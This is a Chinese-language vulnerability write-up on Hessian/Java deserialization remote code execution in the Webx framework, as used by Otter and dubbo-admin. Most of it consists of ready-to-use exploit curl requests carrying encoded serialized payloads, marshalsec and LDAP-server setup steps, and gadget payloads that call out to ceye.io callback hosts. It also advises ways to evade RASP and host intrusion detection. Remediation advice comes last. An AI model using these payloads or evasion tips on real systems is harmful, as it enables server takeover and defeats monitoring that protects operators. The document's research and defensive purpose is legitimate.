curl -i -s -k  -X $'POST'      -H $'Host: 172.18.163.117:8080' -H $'User-Agent: User-As2s' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://172.18.163.117:8080/login.htm' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 1840' -H $'DNT: 1' -H $'Connection: close' -H $'Cookie: JSESSIONID=TLFK8Z-PAK1SFTZXLRPS3Q19FZ22-MPLUA5QJ-1; OTTER_WEBX_JSESSIONID0=eNrz4A12DQ729PeL9%2FV3cfUxCK3OTLFSCvFx87aI0g1w9DYMdguJivAJCgg2DjS0dIsyMtL1DfAJdTQN9NI1VNJJLrEyNDUxtbAwMjI1NjMy1UlMRghYmBlZ6ORWWBnURgEAvvsbTw%3D%3D' -H $'Upgrade-Insecure-Requests: 1'      -b $'JSESSIONID=TLFK8Z-PAK1SFTZXLRPS3Q19FZ22-MPLUA5QJ-1; OTTER_WEBX_JSESSIONID0=eNrz4A12DQ729PeL9%2FV3cfUxCK3OTLFSCvFx87aI0g1w9DYMdguJivAJCgg2DjS0dIsyMtL1DfAJdTQN9NI1VNJJLrEyNDUxtbAwMjI1NjMy1UlMRghYmBlZ6ORWWBnURgEAvvsbTw%3D%3D'      --data-binary $'action=user_action&event_submit_do_login=1&_fm.l._0.n=admin&_fm.l._0.p=2&_fm.l._0.p.attach=%65%4e%71%56%55%54%31%76%55%30%45%51%58%4f%78%48%45%75%49%34%42%51%68%42%52%30%4f%62%4f%35%45%55%53%4b%54%69%79%34%71%6a%42%77%32%75%6e%47%70%39%62%25%32%42%31%33%25%32%42%4e%31%48%37%74%62%68%68%59%4c%25%32%46%51%70%54%53%56%66%34%42%25%32%46%41%64%36%43%6b%71%6f%61%4f%6a%43%48%53%59%52%4c%64%75%63%52%6a%73%37%6d%70%6c%62%25%32%46%6f%43%62%4d%63%42%6a%35%59%7a%41%52%6b%39%77%67%6b%4a%70%44%6f%73%6f%49%6f%55%54%72%55%67%73%66%4f%4f%77%45%74%72%34%52%71%6a%70%51%72%7a%51%63%54%37%51%44%51%32%5a%7a%4a%4f%7a%38%63%57%79%38%25%32%46%43%77%41%39%41%47%32%50%38%50%6c%61%65%54%79%41%45%56%58%79%6d%74%66%58%72%77%25%32%46%66%4f%58%34%34%39%64%32%42%70%44%54%38%65%42%43%32%61%67%71%61%6e%47%63%48%64%4f%35%4b%25%32%46%78%30%4c%34%69%34%38%4c%70%49%52%52%52%76%36%63%68%39%50%4d%7a%71%67%50%46%32%6a%58%56%45%66%51%56%71%70%71%71%35%38%34%79%57%57%62%6f%48%44%30%72%59%56%33%56%47%43%49%6c%65%4c%74%38%69%79%63%6f%47%37%51%7a%25%32%42%59%61%44%74%72%50%39%45%6e%70%71%78%52%36%64%65%6a%71%47%44%39%41%74%59%61%4f%61%75%70%6a%64%4d%57%79%76%54%72%53%54%47%53%66%36%72%57%6c%32%38%68%72%4e%4e%58%6d%61%46%76%25%32%46%67%39%5a%71%77%6f%68%41%5a%5a%4f%6e%43%54%4b%4c%50%6e%6d%54%71%78%7a%67%62%5a%57%61%76%43%70%46%58%25%32%42%51%39%57%42%30%6c%38%4d%35%42%33%55%58%50%4b%6d%4e%57%4b%31%67%4e%63%25%32%46%68%31%49%73%77%67%35%30%76%4c%6e%76%56%39%72%47%36%4f%76%75%66%6c%45%67%46%36%4e%61%6b%37%68%30%65%37%75%33%70%35%6e%75%49%25%32%46%65%4e%31%6f%68%61%32%65%6c%55%30%79%38%6b%25%32%46%6f%6d%4e%47%6c%58%4d%45%58%4f%30%70%73%25%32%42%66%66%31%57%7a%69%61%30%45%39%6c%4a%73%58%50%25%32%42%63%72%76%25%32%46%37%62%49%4c%4e%30%6f%6f%50%48%4c%39%4a%31%43%62%72%75%37%49%32%68%6d%53%57%42%6c%74%70%55%47%4c%4d%77%72%76%4f%69%44%62%39%6a%65%65%4b%4d%63%78%0a'      $'http://172.18.163.117:8080/login.htm'

可以看到靶機已經生成.tmp文件。如果java版本小於等於6.是可以00截斷生成任意文件。

可惜這個項目exclude了groovy,但是我們也有辦法實現otter 項目遠程命令執行,這是全部的包。

使用CommonsBeanutils1的payload,這裡注意利用時需要保證jdk版本和jar包的版本要同docker最新鏡像的版本一致。(ysoserial是1.9.2,需要降低為我們需要的1.8.3)。 payload將執行』touch /home/admin/manager/webapp/1.jsp』

curl -i -s -k  -X $'POST'      -H $'Host: 172.18.163.117:8080' -H $'User-Agent: User-Ass2' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://172.18.163.117:8080/login.htm' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 5194' -H $'DNT: 1' -H $'Connection: close' -H $'Cookie: JSESSIONID=TLFK8Z-PAK1SFTZXLRPS3Q19FZ22-MPLUA5QJ-1; OTTER_WEBX_JSESSIONID0=eNrz4A12DQ729PeL9%2FV3cfUxCK3OTLFSCvFx87aI0g1w9DYMdguJivAJCgg2DjS0dIsyMtL1DfAJdTQN9NI1VNJJLrEyNDUxtbAwMjI1NjMy1UlMRghYmBlZ6ORWWBnURgEAvvsbTw%3D%3D' -H $'Upgrade-Insecure-Requests: 1'      -b $'JSESSIONID=TLFK8Z-PAK1SFTZXLRPS3Q19FZ22-MPLUA5QJ-1; OTTER_WEBX_JSESSIONID0=eNrz4A12DQ729PeL9%2FV3cfUxCK3OTLFSCvFx87aI0g1w9DYMdguJivAJCgg2DjS0dIsyMtL1DfAJdTQN9NI1VNJJLrEyNDUxtbAwMjI1NjMy1UlMRghYmBlZ6ORWWBnURgEAvvsbTw%3D%3D'      --data-binary $'action=user_action&event_submit_do_login=1&_fm.l._0.n=admin&_fm.l._0.p=2&_fm.l._0.p.attach=%65%4e%71%74%56%73%31%76%47%30%55%55%66%32%4d%37%74%6d%4f%63%35%71%50%35%62%4b%46%4e%61%64%4d%6d%4b%64%31%4e%69%4a%32%6d%4f%43%4c%6b%67%78%61%44%30%77%51%53%30%6f%4d%50%31%6e%67%39%4f%42%76%32%71%37%4f%7a%78%4f%48%51%51%25%32%46%38%41%4a%41%51%58%25%32%46%67%45%34%45%41%36%52%4b%71%67%51%51%75%4c%4b%68%51%73%6e%45%42%49%6e%62%6f%42%51%4f%53%42%56%46%4e%37%73%62%75%49%30%43%59%31%62%59%73%6b%37%73%32%25%32%46%65%39%25%32%46%76%4e%65%37%76%35%4b%7a%53%35%48%48%72%57%36%44%74%55%38%59%52%75%4b%49%74%63%74%37%6b%75%4e%6c%37%33%6d%4d%63%25%32%42%25%32%46%47%48%6b%7a%76%32%70%32%31%74%52%69%4f%51%68%35%75%72%76%73%67%4b%6b%4e%4e%74%30%4b%4b%66%43%35%67%4b%36%43%31%4a%53%6c%5a%4c%71%37%41%34%39%56%33%4d%41%49%49%4b%4b%4c%39%71%38%71%6c%43%48%61%71%74%4d%51%54%6e%54%74%6c%79%6c%7a%4b%67%6c%42%56%78%6c%42%6e%64%31%71%65%25%32%46%65%49%37%63%66%58%50%25%32%46%6a%56%67%51%69%44%31%6d%35%43%62%65%41%46%43%44%70%63%4e%74%68%58%47%77%49%36%41%69%73%47%74%53%71%71%6b%75%43%36%31%59%56%4c%61%4b%31%71%51%4f%73%61%62%5a%68%4d%45%33%6f%77%58%35%62%70%36%75%45%64%73%73%47%71%33%74%77%25%32%46%38%25%32%42%50%42%75%35%61%57%35%63%6a%41%44%56%48%51%4a%76%74%43%63%63%54%69%34%46%64%6e%62%6e%72%4d%51%77%72%69%6f%5a%65%51%45%32%4b%36%31%6e%4b%4c%6f%4d%31%69%76%34%6f%75%69%55%59%74%36%69%68%31%46%78%44%61%49%72%67%74%4b%59%73%4d%39%4d%78%71%47%42%75%48%74%66%6d%47%77%76%66%57%4a%75%66%6a%6b%55%68%6e%6f%65%57%6b%6d%35%56%6d%43%57%75%65%32%61%5a%38%54%77%63%4b%36%47%41%35%52%70%4d%35%4a%46%65%4b%30%4b%71%56%4e%34%51%54%4c%4d%72%7a%42%55%51%4c%52%5a%6e%69%68%41%76%61%51%5a%31%38%62%57%6a%75%43%73%4e%73%35%4b%57%4b%30%42%54%79%61%49%6d%6b%79%6d%4c%46%61%43%39%74%44%65%43%68%79%74%57%70%77%63%56%67%33%25%32%46%77%35%33%48%66%30%47%74%25%32%46%39%33%56%56%71%7a%38%47%75%5a%44%56%52%48%71%6b%4f%4c%4e%35%72%25%32%42%65%76%65%48%4c%35%35%35%41%63%25%32%46%25%32%42%72%62%42%31%39%25%32%42%6a%63%63%5a%75%4a%4b%43%4b%44%79%62%67%4d%73%4a%47%45%6a%41%65%51%4a%74%4c%75%4d%36%4e%56%59%59%64%7a%48%37%62%25%32%42%62%6e%43%4a%42%58%43%62%54%4d%59%69%6b%45%74%63%51%4b%4e%54%7a%57%39%46%6e%25%32%46%42%25%32%46%66%65%25%32%46%25%32%42%6e%33%46%77%6e%45%4a%33%56%4c%46%37%69%4a%44%67%36%74%45%49%6a%4e%59%74%51%45%57%67%75%36%78%59%4c%38%4c%4d%74%71%45%61%79%25%32%42%72%61%46%61%69%73%72%78%50%53%54%47%78%4b%72%75%45%6a%69%25%32%42%4a%4c%7a%79%63%70%6a%44%52%62%70%68%32%4c%52%43%49%4a%32%33%4c%4d%62%39%46%44%46%6b%79%68%59%32%58%44%74%77%54%6e%55%43%48%6a%64%49%79%44%56%61%71%54%4c%68%6e%6a%74%41%53%34%35%41%73%31%25%32%42%63%74%32%78%75%45%75%43%44%42%63%53%41%69%68%68%51%45%51%4e%71%67%41%48%56%78%34%43%36%6a%51%48%56%78%34%41%36%74%7a%43%66%4b%78%37%49%62%52%70%31%33%73%41%66%76%47%46%63%58%51%71%33%56%4b%4c%32%46%57%70%56%44%4d%5a%7a%4d%69%58%4a%69%71%31%35%4a%75%4b%46%77%4b%58%48%4d%6f%25%32%42%69%71%34%45%65%44%48%25%32%46%6d%25%32%46%7a%74%44%49%50%56%79%54%57%4f%4f%66%36%30%53%63%49%48%41%78%34%25%32%42%58%6a%30%4d%39%71%41%68%54%6e%56%75%65%6e%36%37%70%62%68%35%4a%66%6c%63%35%6d%68%7a%71%6f%54%71%4a%67%79%66%78%67%6b%41%69%7a%43%57%42%36%61%50%49%35%4a%4c%74%63%59%31%64%31%53%57%4d%30%79%45%43%46%58%6c%4a%30%35%43%43%70%78%49%77%53%47%44%73%43%51%42%4c%34%4b%56%47%4b%38%49%39%53%25%32%42%67%6d%55%36%66%4c%4c%6b%4a%63%45%39%75%61%43%48%54%36%7a%55%4b%33%36%38%37%37%74%25%32%42%31%4b%6f%35%71%33%4e%65%32%67%68%63%44%70%51%32%4c%42%45%6b%31%71%52%74%67%4b%32%75%73%64%37%6f%33%41%79%51%51%4d%59%38%36%51%4d%58%77%6e%30%44%55%34%56%4e%6a%48%6c%6b%76%44%63%33%41%70%42%52%64%42%49%58%42%65%32%4a%36%32%32%71%25%32%42%75%32%68%67%6b%72%5a%69%36%70%5a%72%55%6f%6c%55%73%79%6a%6f%72%55%38%64%52%52%35%55%31%31%30%6e%43%43%44%59%53%56%6d%4d%61%67%51%75%44%25%32%42%32%66%4d%62%6a%50%59%4f%6a%57%47%48%54%63%4e%7a%38%4f%59%4e%4a%50%42%7a%72%59%6b%71%50%62%32%50%48%58%43%6e%6e%53%71%48%75%6e%69%4f%6a%61%67%37%50%68%49%5a%6d%49%69%4d%35%37%4e%6a%6d%64%47%73%25%32%42%4d%45%25%32%42%67%75%50%35%73%6a%42%47%59%68%67%56%30%57%76%38%48%38%43%6d%69%43%4f%61%30%4a%32%59%30%6a%36%4e%41%51%49%50%74%4e%49%55%58%45%6c%75%44%59%4e%66%77%46%6b%79%32%64%70%77%57%66%63%4a%77%37%42%4d%58%79%6d%41%77%5a%6f%68%51%6c%63%73%56%6c%43%4a%33%4a%4a%34%53%6b%35%31%79%52%74%72%36%44%71%43%25%32%46%59%48%68%36%47%67%33%48%56%42%74%33%39%4f%6f%41%64%36%55%61%49%50%39%34%47%50%55%75%33%4a%55%47%33%65%70%78%36%67%4e%75%4f%72%48%51%34%4f%44%31%54%37%4e%44%79%44%45%6e%4a%33%43%6b%36%6a%25%32%42%62%71%42%4a%45%61%7a%48%66%51%35%50%4a%46%63%72%5a%39%41%6c%42%54%75%67%74%6f%78%25%32%42%6a%6c%6b%62%32%7a%35%67%75%4e%25%32%42%55%45%52%79%39%50%76%32%7a%30%41%37%72%69%6b%38%69%73%42%5a%61%49%4e%6d%54%38%37%4a%4e%75%54%39%66%6d%65%4b%6e%5a%52%54%72%43%73%42%50%51%6e%6f%54%55%42%66%6f%31%50%73%35%69%25%32%46%36%62%35%50%6d%74%64%36%6a%6d%57%4c%52%71%37%61%39%62%32%6f%4e%48%44%71%31%55%4b%71%52%66%6e%4b%43%77%4e%6b%47%56%47%48%6f%64%62%67%76%6c%4e%66%77%49%25%32%42%6f%25%32%46%25%32%42%38%46%68%64%25%32%46%71%52%4f%43%61%4e%34%33%68%69%44%34%34%37%25%32%46%50%50%6a%25%32%46%72%4e%7a%56%33%57%37%5a%58%58%78%43%79%36%47%74%34%6f%37%36%77%52%71%73%74%49%74%74%58%38%42%25%32%46%52%34%67%5a%67%25%33%44%25%33%44%0a'      $'http://172.18.163.117:8080/login.htm'

##dubbo-admin: dubbo-2.6.1以後的版本不再有dubbo-admin ,我們就以https://github.com/apache/incubator-dubbo/tree/dubbo-2.6.0為例吧。 發現https://github.com/apache/incubator-dubbo/blob/dubbo-2.6.0/dubbo-admin/src/main/webapp/WEB-INF/forms/provider.xml 是典型的寫法,存在安全風險。incubator-dubbo/dubbo-admin/src/main/webapp/WEB-INF/webx.xml 設置cookie通過序列化的形式進行對象存貯。就像這裡提到的一樣,http://wp.blkstone.me/2018/09/writeup-2018-alibaba-security-competetion/,這裡不再贅述。

webx的Session框架提供了一種encoder的實現,編碼的基本過程為:序列化、加密(可選)、壓 縮、Base64編碼、URL encoding編碼。默認為hessian-serializer,其存在一項反序列化漏洞。

利用方法:

修改marshlsec適配webx框架。

https://github.com/nanolikeyou/marshalsec

搭建測試環境:https://github.com/nanolikeyou/dubboadminrce

首先啟動java LdapServer http://xx:9090/#Exploit

再啟動http server。

構造的rmi或者ldap形式的jni factory,觸發cookie處理時調用hessian反序列化,會觸發http下載執行class,應用程式內部具備了完全的命令執行許可權。

這裡需要注意的是幾個Gadget的的點,基於hessian反序列支援SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin,其中

  1. SpringPartiallyComparableAdvisorHolder 需要aspectj,默認的webx或者dubbo admin並沒有這個jar包,功能方面需要開啟aspectj 註解模式,對spring配置aop:aspectj-autoproxy。
  2. SpringAbstractBeanFactoryPointcutAdvisor 需要高版本spring-aop,參考:https://github.com/mbechler/marshalsec/issues/8
  3. Rome不自帶,除非業務使用了webx框架,並且主動添加
  4. Xbean不自帶,除非業務使用了webx框架,並且主動添加
  5. Resin,在應用伺服器為resin時,直接具備包。

觀察我在github上傳的程式碼,可以發現一處新的gadget,技巧是利用了SpringExtUtil的tostring方法,不需要第三方jar包,就可以執行RCE。

poc:

Rome ldap://Rome.lzv3nf.ceye.io/Exploit eNqVUs1uEzEQlppCm5%2BqlThz4YK4OJG4cWTTqiASIFly6IlZe9K4sj1bj910%2BxJse%2Bwz8CZ5EQ4ceAS8G4m%2FQyXG0vgbz3zf%2BO80Gz2XZIUni4HIcIvEElEJbUsjji8jGH6N4O66RfKZAeYOFRefs8MLuAJhwJ2LdvV214FFGL14UDCnefDanTeS2X%2FU%2FtO%2BgKcNlaNLpDVjEG9VIWe0nmN4k7jZw%2BmveyltwanOp9m7noIAc4peYs%2B3JXlVYp9XtB6jwYBqcBnRV7m2SDHsWbhOSjxI84lGo%2Bb6BvuSnIzeo5PVvkdQ752pjpAllPjBk0TmdJCuZjIQNLn9JQa5GmvfbUEjsZsk3E7JO54fN5uejB95TP5ATyCVZGSidXzIwf8ZDwrtwFfpohDsQXRaksJt1AeWWm9xT67Ab2HHQtk1mgM6TK1K8GBZTqejZ0ZB%2BWo4nDWvYG6uXrqlkFih0DQ8vi4N6bD5flLX9eZHnt9tvtXTxhZH7T%2BIQRuxQBnI33%2F5ZYv6vrMkmv5tkye%2FKafAqwCFwbOPt804%2BwmnR%2Ff1 Resin http://Resin.lzv3nf.ceye.io/ Exploit eNqNVM1OFEEQPizLIn8SIYqiB6OJnnrHGBPjwUQHCEZ3FDDE4GGt7a6daeifSXfPuvAQJiIXE08m6kP4Avgs3nwCu2cWWBLZOJfp6v6%2Br76qVPdafIVqSSgUNNNEgeQqJesJSDyYaFOtHPbdeJs7lPZdHN3ZgR70j2E25yT2EK4KcFyrZW7iivGpRnOsoeo1gkTs%2BhBHt85wY1BKu1dGU0S20qeYB4UvM0ZrdxLOMHTARQuthRTr3qTFOYMSuPIaCb4PPqd8Gm60kqhcA4QLe5ODv888bdBq0UNWYo%2BDl52dmVOhwLAO6O5rAxQXbJHnHmiHjNlOMvjiy2fq2MAuGlQUDy9QAdYGrelytQrUabO3MBy80LTsVB0YM5bWVrVurPRzoblbypzLHzWbG1oiEfu9%2B6pLKO4h4bqZz4WcpHBckC0MSsnW9bflngBvYvPE%2B4rA0IfP8dKI08NZht6V8f7jYG5Sost02aCJLhdY9kNwhUkhO2jYogRjMxAWKUmBpeisr9tyNSthF8tVOTGT5ZKEzEcPWXTbFooY7ArvmCS%2B7h62ykRPKPXd1eaZzEWDq57exejGeYBS7sN%2Fqo1XaqPFjh6z6O6w2jIKTD1DpecqRjdHgUrZn2zxtOfH0hV2IDJVRSX61x92daitrWop0DwF6wfIIDj0Q%2Bo15s%2BeVeznI9h1pjcK9S%2Fa0bcRtJo5h7THLg2R1nzVHNRYuDvTg6DCPUha86dzugY2c9ARuJ3s17pa1zpg1j%2FG0b3w3ITua5MSyIFmSPo5uIxw%2F3QYBYLosm5L3my6MKMHddn2WxOynYO%2Fag7Hfv%2F4fvHaVLL%2Bdfsvx0jJBA%3D%3D XBean http://xbean.lzv3nf.ceye.io/ Exploit eNqFUk1v00AQPRC3bktVkEqlShw5b4I4IMGJurWKhFwlKR%2FiUsbrcbLJene1u04c%2FkVbVHHiL%2FC3%2BBnMOqaEE3vxePzmzXvPe54MXmo7Yc5YoSalhQqX2s4ZaMM82Al6dq79eAnGQC7xsm2NdW05Xm%2BtAV%2BSwetAAQb4FFmTIyimoCI%2BxrXy2HiWrJ%2FvvZDPRgjFhZKrE6EKwnzfFW6EErxYYI%2FGcIdLcC6jKi5rKUMRtZBoAbLG7Y4zznWtiot8BumDUussu0yOZrCA5s%2FuEZZoUXH89pfxYVulwL22q8PNl3eakwStIigK6%2FJAuX3WGKmFfzr13rzq99fO5NfFC1UyjitkQvfNo7CU1eSMfcBAlQz6%2F4vjoxU%2BxNnF8uOAB%2By9YHfoamO09fedAD4mCJ%2BfUqNrnoqyrfwR2agr3Ph0ErI5CGm%2BVcG3IzG4W%2BlClCJwbQmVgJQ7SxKCZH2%2Bl6%2F%2FBuVcxlRiQ8XjTm%2BKBdo2nf0KnEfb6X5iwDossn%2FX7HdTbzg5cTylk6VZd4a3w2u6MM%2B5rpirFdtMyoCfMkGzVoFkOp9RnI59GvtwNW%2Bi6opacXVFS8lz0fv18zbuRdnw7vNvlHII9g%3D%3D SpringPartiallyComparableAdvisorHolder ldap://adv.lzv3nf.ceye.io/Exploit eNqNVE1PFEEQvQASEFxN0HAxmmi8NWNINPE2TMQFdfjYPRg8YO1M7cysM11td89%2B%2BCsWSLwaf4Z%2FyN9h9cwsoIHAnLZeV71Xr7p624H3mnQijNKZTPoaChyR%2FiqAlLCgE7SiTbYzAqWgl2O3gjpU6ghPFuqEL4Enr6MAozCyAwGlJaVpPBF%2Bhez6I9Dox8PMkPb5cN8dBhrBkn62D9pmkOeTgAoF2gk3qW3KY9Snd6AOl6I6gYsg8F7d1EWjvU%2BZtFFpG86zedJMuuA4I1xUzWkvDLzNWzL6mkoZ%2BxXBr9UYoxxcTZCDMUsF2pTikMuX6jL3s1Ungc1I7jn5uzbVNOIid7qi0ZZaNtGjODMRDVFjfDjDuxOFDy%2FwblNcwQN2UHn0dVIWKO2OjHHsPTnHO5Z1IzflfzLWoInMjrSaql4xfnyF%2BjuUqLPIqa26%2BbNF1C4y5%2BNbq73uSGNBRrgNEV%2FSZGUm4XyZ1izaymTMtCYK7g1gCCIHmYhqeidzkjPj1gW81xsw76KljnUzDqchf9Ppdqhan%2F8r5ht8f%2BNmSkm2ugaxhSCbPv2rmj%2BrelnuXaSt1iwf0UIMFtB7mseg3mxs8C6J%2FPtwU%2FZFhBMUGW28HaucMnvNmg54AMKUSpG2opMVKsddhi619GNZo6ke3iH2H5iU3497GIcNaFqGCXO0vE%2FVhMzKLL%2B6mIWckoTXzAl1kfnBYr%2F77X41stJmuWiDSTtob%2BGhfdQ%2BCrwXzgcoiFIU%2FA4LkkY4EW5DOAMipD31gZJpEnjPr%2FW8e6mf06bJZZTDTJN0q5EmYfUdnPD%2FzEvW4SlJcUl6rMCmgpcOtYRcUG1efKrX43S%2BOGZosTjmPWW6bO7P9Pf62np48PPoL7nJ57I%3D SpringAbstractBeanFactoryPointcutAdvisor ldap://spirngadv.lzv3nf.ceye.io/Exploit eNqNj8FOwkAQhk8aE9Soz6DhtjQx8eANq6Yhpoj0xIlhOy2L2511dlvFp0BiPPi0thGUgyTedif%2F%2FPN9URh0iXPhLCuTZwwFPhM%2FCiArXGktsRfXmEGp%2FRWCuQXpief3pIyXpe%2BmlXLE74dQPyQ2ibhu2CFOkffsKtWa%2FG6Og7ZOwV52Os4qNnm9KPRrdW4yIXGOQlHn5sVqUj4Og9NtZAmXuGZYQBhc%2FBWcmVT9OAxVYTX26tGGxkeL0VHJEh8wO3FTYISJrj%2FfQ3fk6kKNnkx%2FMkPp3cE6n8wtul1NeY683xxKsO4Hj5Pk6XgGFYjSKy0icNMh%2Bn87R6NoFAbtxgYsyCkKSUVBxonmVA0jGg0RU9%2FeUb6QYXC21by3QbVcobbQVIrJFGh8KuPB2ziOB8t48Dn6AkAoxWk%3D SpringAbstractBeanFactoryPointcutAdvisor2 ldap://spirngadv.lzv3nf.ceye.io/Exploit eNqNUs1u00AQvrQpUoEWJN6gVW8TIySQkDiAKXIrlP44lVAuZWyPnQ3r3WV3nDo8BYkEJx6CF%2BMd2LUT6AEQx%2F08%2Fn7mmySOnmlbgTNWqKq0WNONth8AtQFGWxFDojm9QWMwkzTuoFQ3NqfloB94H0cvcl0DSpFhhpALto1bM1LL0LCQkHbP45av%2FOvgZebYYs7nVreL1bZQXLqd0gPaLjDem%2BEcQaKqIJbo3HJLeV%2FZ%2Fm845cAWR%2BKfwq4xRlsGg9aRhY3oyJMVnfIrQvWaSqEEC63Ou7GD7ksf9E3v6KQ2cnW%2FTxt%2BCQQbt3l0JAs0z4dDZ4RVFRZzkJ%2FmT1QJOS0IhB4et0ZqwXH09E%2BbnqlC%2FHKaCi9Fpx4KOmv5r7uWXLfySyofuilaCl1crkG37zyhJNbqLJtRzu7eZn68MOQGUlcV2btBaEyeH5mK8ccH3Ta7bhJ005T4v5Mkk2QSR0chDRrMpwS%2BhlorB0HKm4EQA0b6zLzV1WeKo8O%2FJj%2B95Wq1trpLai6sVjX5u6DRxdKf2OPQtGsU3FJtDfIU%2FPGQVShB9%2BnhXX8dq%2B362kN36mvfv2eqtn58%2Bf5oZzC6%2BDb5CZRVH70%3D

證明:

構建Exploit.class:

python -m SimpleHTTPServer 8080。

使用適配後marshal生成payload:

eNqNVE1vEzEQPaRpStOWilalfB0QSHBylgNSVSQk2KYqElloiypUDmFiT3bdeu2V7Q2BH4FE6QUJLhzgR3DgWn4LN34BtpO2qUQj9rIe%2B703M09jb8SXqcoJhZJmikjIuUzJZgI5Hky1qZIW%2B3ayzS3m5nUc3dmDHvSPYabgJHYQLkuwXMk1ruMB42OFFlhB2at5idj2IY5uneHGIKWyz7WiiKzZp1h4hc%2BzWil7Es4ytMBFC42BFKuuSIPzGnPg0mkk%2BMbXWXdpuFYyR2lrIKzfmx7%2BXeYZjUaJHrKAPQ6edfZmT4U8w1ig%2By80UFw0ZVE4oBkpzHSS4RcvneljC7uoUVI8vEAFGOO1ZsJqHahV%2Bu3iaPBU0eBUFRjThlbWlao1%2B4VQ3C5l1harjYZwEJEpY1dXopWoUcz7dKS0XJAd9CLJzvVXYU%2BAy799UnZToLfgU3xtzOnhHENXkHalx76u6RxtpoI3U10uMFghuMSkzDuo2XIO2mQgDFKSAkvRGtey4XIuh30MqzAs02FJfOaj%2Byy6bUpJNHaFq5gkruUetkKiR5Q6Y5V%2BkheixmVP7WN04zxAkHv%2Fn2qTA7XxYkcPWXR3VG0NBaaOIdNzFaOb40BB9gdbPvX8WHqAHYrUB1FA%2F%2FrDrozY2hosBerHYNzsaASLbj6dxsLZswH7wRh2lamtUv6LdvRlDK2izyFpdmmEtOG65iAn%2FLWZGQYB9zNpLZyO6QaYzEJH4G7yrtJVqtIBvfkhju75h8abr3RKoACaIekXYDPC3aOhJQiiQtuGvNy2fkQPqnnbbU3l7QLcJbM48fv7t4tX68nm192%2FFsrGdA%3D%3D

使用替換cookies值tmp0,

被rasp攔截:

這裡建議使用java編程的方式通過dns隧道回顯結果,不通過直接調用命令的方式, 防止rasp或者hids攔截或者使用反射開啟Webx Framework的開發模式工具。

觀察rasp顯示的調用鏈:

去掉rasp:

##其他歷史應用

可以檢索cookie包含tmp0=enp或者tmp0=enr的應用。

#漏洞危害

#修復方案 ##反入侵應急階段: 1. waf增加相應的檢測手段 2. 梳理歷史的資產,在hatrix、rasp產品新增反序列檢測功能並驗收。 3. 排查存量程式碼可以直接在svn、git檢索上發現業務直接在源程式碼文件中調用反序列功能的寫法,版本號; 4. 由於webx遵循頁面驅動的理念,可以檢索前前端定義的"_fm.0"表單元素 5. 收集依賴組件,應用。 6. 增量業務的整改建議升級webx框架和common-file-upload、jdk7u21等其餘ysoserial支援的調用鏈組件,讓readobject有入口,但是不能被觸發。 ##應用安全審計: 將poc納入burpsuite插件,作為日常審計checklist。 ##業務程式碼修復: 回顧軟體需求設計階段,增強軟體韌性,具備一定的安全能力。

增加攻擊面分析步驟,對歷史系統進行盤點。

升級hessian版本至4.0.51通過ClassFactory設置白名單。

修改為hessian加密方式。

進行cookie數據驗簽。

由於功能主要發生處為web請求參數的自動解包處理FIied,建議業務對於新版本去除此功能,並預警知會開源社區。